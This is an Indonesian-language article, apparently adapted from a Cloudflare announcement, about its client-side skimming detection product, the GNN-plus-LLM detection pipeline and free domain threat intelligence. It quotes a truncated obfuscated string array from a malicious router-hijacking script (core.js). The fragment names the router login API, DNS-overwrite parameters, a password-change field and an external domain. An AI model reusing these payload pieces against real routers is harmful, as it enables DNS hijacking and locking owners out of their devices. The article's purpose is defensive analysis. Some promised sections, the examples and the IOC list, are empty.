Keamanan Sisi Klien: Ancaman Skimming & Solusi AI dari Cloudflare

Serangan client-side skimming memiliki kemampuan super yang membosankan: mereka bisa mencuri data tanpa merusak apapun. Halaman masih tetap berfungsi. Checkout tetap selesai. Yang dibutuhkan hanyalah satu tag script jahat.

Jika terdengar abstrak, berikut dua contoh nyata serangan skimming:

Untuk membangun Internet yang lebih baik, Cloudflare menetapkan prinsip utama selama Birthday Week 2025: fitur keamanan canggih harus dapat diakses tanpa perlu negosiasi penjualan. Hari ini kami umumkan dua perubahan penting: Pertama, Cloudflare Client-Side Security Advanced (sebelumnya Page Shield add-on) kini tersedia untuk pelanggan self-serve. Kedua, threat intelligence berbasis domain menjadi gratis untuk semua pelanggan paket Client-Side Security free bundle.

🔍 Bagaimana Cloudflare Client-Side Security Bekerja

Cloudflare Client-Side Security menilai 3,5 miliar script per hari, melindungi rata-rata 2.200 script per zona enterprise. Di balik layar, produk ini mengumpulkan sinyal menggunakan pelaporan browser (misalnya Content Security Policy), sehingga Anda tidak perlu pemindai atau instrumentasi aplikasi, dan dampak latensi nol pada aplikasi web. Prasyaratnya: lalu lintas Anda diproksi melalui Cloudflare.

Client-Side Security Advanced memberikan akses langsung ke fitur-fitur keamanan canggih:

🧠 Mendeteksi Niat Jahat dalam JavaScript

Mengelola keamanan sisi klien adalah masalah data besar. Untuk zona enterprise rata-rata, sistem kami mengamati sekitar 2.200 script unik; zona bisnis kecil sering menangani sekitar 1.000 script. Volume ini sulit dikelola, tetapi tantangan sebenarnya adalah volatilitas kode. Sekitar sepertiga script mengalami pembaruan dalam periode 30 hari. Jika tim keamanan berusaha menyetujui secara manual setiap interaksi DOM atau koneksi keluar, overhead yang dihasilkan akan melumpuhkan jalur pengembangan.

Strategi deteksi kami berfokus pada apa yang coba dilakukan script. Kami menganalisis perilaku script menggunakan Abstract Syntax Tree (AST). Dengan memecah kode ke dalam struktur logisnya, kami dapat mengidentifikasi pola yang menandakan niat jahat, terlepas dari bagaimana kode diobfuskasi.

⚠️ Biaya Tinggi dari False Positive

Keamanan sisi klien berbeda dari pemindai kerentanan aktif. Serangan kompromi sisi klien jarang terjadi tetapi berdampak tinggi. Karena serangan nyata jarang, deteksi sistem keamanan secara statistik lebih mungkin menjadi false positive. Untuk mengatasi ini, kami mengintegrasikan Large Language Model (LLM) ke dalam pipeline deteksi, yang secara drastis mengurangi tingkat false positive.

🤖 Menambahkan LLM sebagai Second Opinion

Mesin deteksi utama kami adalah Graph Neural Network (GNN). GNN sangat cocok untuk tugas ini: mereka beroperasi pada AST dari kode JavaScript, mempelajari representasi struktural yang menangkap pola eksekusi terlepas dari penggantian nama variabel, minifikasi, atau obfuskasi. GNN di-tuning untuk high recall (menangkap ancaman zero-day). Presisinya sudah sangat tinggi: kurang dari 0,3% dari total lalu lintas yang dianalisis terdeteksi sebagai false positive. Namun, pada skala 3,5 miliar script per hari, angka 0,3% tetap menghasilkan volume alarm palsu yang mengganggu.

Di sinilah LLM melengkapi GNN. LLM memiliki pemahaman semantik mendalam tentang praktik JavaScript dunia nyata, mengenali idiom domain tertentu, pola framework umum, dan dapat membedakan obfuskasi yang mencurigakan namun tidak berbahaya dari niat jahat yang sebenarnya.

Arsitektur cascading classifier:

  1. Setiap script dievaluasi oleh GNN. Jika GNN memprediksi script benign, pipeline berhenti. (Ini hanya memerlukan latensi minimal GNN untuk sebagian besar lalu lintas, menghindari komputasi LLM yang lebih berat.)
  2. Jika GNN menandai script sebagai berpotensi jahat, script diteruskan ke LLM open-source yang dihosting di Cloudflare Workers AI untuk second opinion.
  3. LLM, dengan prompt konteks keamanan, mengevaluasi niat script secara semantik. Jika menentukan script benign, ia mengganti (override) verdict GNN.
Diagram arsitektur deteksi dua tahap: GNN lalu LLM

Hasil dari evaluasi internal pada lalu lintas produksi nyata sangat menarik: pada total lalu lintas yang dianalisis di bawah kategori ancaman JS Integrity, lapisan validasi LLM sekunder mengurangi false positive hampir 3x — dari ~0,3% menjadi ~0,1%. Pada script unik, FP rate turun drastis ~200x (dari ~1,39% menjadi 0,007%). Potongan false positive secara keseluruhan hingga dua pertiga berarti jutaan alarm palsu lebih sedikit setiap hari bagi pelanggan kami.

🎯 Menangkap Zero-Day di Alam Liar: Exploit router core.js

Arsitektur dua-tahap ini sudah terbukti keandalannya. Baru-baru ini, pipeline deteksi kami menandai script jahat baru yang sangat diobfuskasi (core.js) yang menargetkan pengguna di wilayah tertentu. Payload dirancang untuk membajak router rumah (khususnya perangkat berbasis OpenWrt Xiaomi). Script menunjukkan kesadaran situasional yang signifikan: ia mengkueri konfigurasi WAN router, menimpa pengaturan DNS untuk membajak lalu lintas melalui server DNS publik China, dan bahkan berusaha mengunci pemilik sah dengan mengubah kata sandi admin secara diam-diam. Untuk menghindari deteksi, logika inti script sangat terminifikasi dan dipacking menggunakan array string obfuscator.

GNN kami berhasil mengungkap struktur jahat di balik obfuskasi, dan LLM Workers AI dengan percaya diri mengonfirmasi niat jahat. Berikut cuplikan payload yang menunjukkan target API router dan upaya menyuntikkan DNS nakal:

const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&asyn=0&auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&autoset=1&dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
// ... (kode obfuskasi lengkap telah dipotong untuk keperluan tampilan, namun struktur asli menunjukkan payload jahat)

Indikator Kompromi (IOC)

🌍 Threat Intelligence Berbasis Domain GRATIS untuk Semua

Hari ini kami menjadikan threat intelligence berbasis domain tersedia untuk semua pelanggan Cloudflare Client-Side Security, terlepas dari apakah Anda menggunakan paket Advanced atau tidak. Pada 2025, banyak pelanggan non-enterprise terkena serangan sisi klien, terutama yang menjalankan toko online di platform Magento. Serangan ini berlangsung berhari-hari atau bahkan berminggu-minggu setelah dipublikasikan. Perusahaan kecil dan menengah sering kekurangan sumber daya tingkat enterprise untuk mempertahankan standar keamanan tinggi.

Dengan menyediakan threat intelligence domain untuk semua, kami memberi pemilik situs sinyal kritis langsung tentang serangan yang mempengaruhi pengguna mereka. Informasi ini memungkinkan mereka mengambil tindakan segera untuk membersihkan situs dan menyelidiki potensi kompromi origin. Untuk memulai, cukup aktifkan Client-Side Security melalui toggle di dashboard Cloudflare. Kami akan menyoroti setiap JavaScript atau koneksi yang terkait dengan domain jahat yang dikenal.

✅ Memulai Client-Side Security Advanced untuk PCI DSS v4

Untuk informasi harga Client-Side Security Advanced, silakan kunjungi halaman paket. Sebelum berkomitmen, kami akan memperkirakan biaya berdasarkan permintaan HTTP bulan lalu Anda, sehingga Anda tahu persis apa yang diharapkan. Client-Side Security Advanced memiliki semua alat yang Anda butuhkan untuk memenuhi persyaratan PCI DSS v4 sebagai merchant e-commerce, khususnya 6.4.3 dan 11.6.1. Daftar hari ini di dashboard Cloudflare.

📌 5W+1H: Memahami Serangan Skimming Sisi Klien
Apa: Serangan client-side skimming (pembajakan data) dengan menyisipkan script jahat yang mencuri informasi tanpa mengganggu fungsi website.
Siapa: Penyerang menargetkan toko online, aplikasi web, dan pengguna akhir. Cloudflare sebagai penyedia keamanan.
Kapan: Terjadi terus menerus; contoh Januari 2026 (keylogger di bank AS) dan September 2025 (npm supply chain).
Di mana: Di sisi klien (browser pengguna) melalui script pihak ketiga atau kompromi rantai pasok.
Mengapa: Karena sulit dideteksi, tidak merusak fungsionalitas, dan sering lolos dari WAF tradisional.
Bagaimana: Cloudflare Client-Side Security menganalisis 3,5 miliar script/hari dengan GNN + LLM untuk mendeteksi niat jahat, ditambah threat intelligence domain gratis.

Client-Side Security

Respons & Diskusi Komunitas

Andi (DevOps e-commerce): "Selama ini saya khawatir dengan script pihak ketiga. Dengan threat intelligence domain gratis, setidaknya saya bisa mendapat peringatan dini."

🔒 Dini (Security Analyst): "Kombinasi GNN+LLM untuk mengurangi false positive sangat cerdas. Tim keamanan tidak perlu kewalahan oleh alarm palsu."

💡 Cloudflare User: "Apakah Client-Side Security Advanced bisa diintegrasikan dengan WAF? Kami butuh perlindungan menyeluruh." — Ya, dapat diaktifkan bersamaan dan memberikan visibilitas penuh.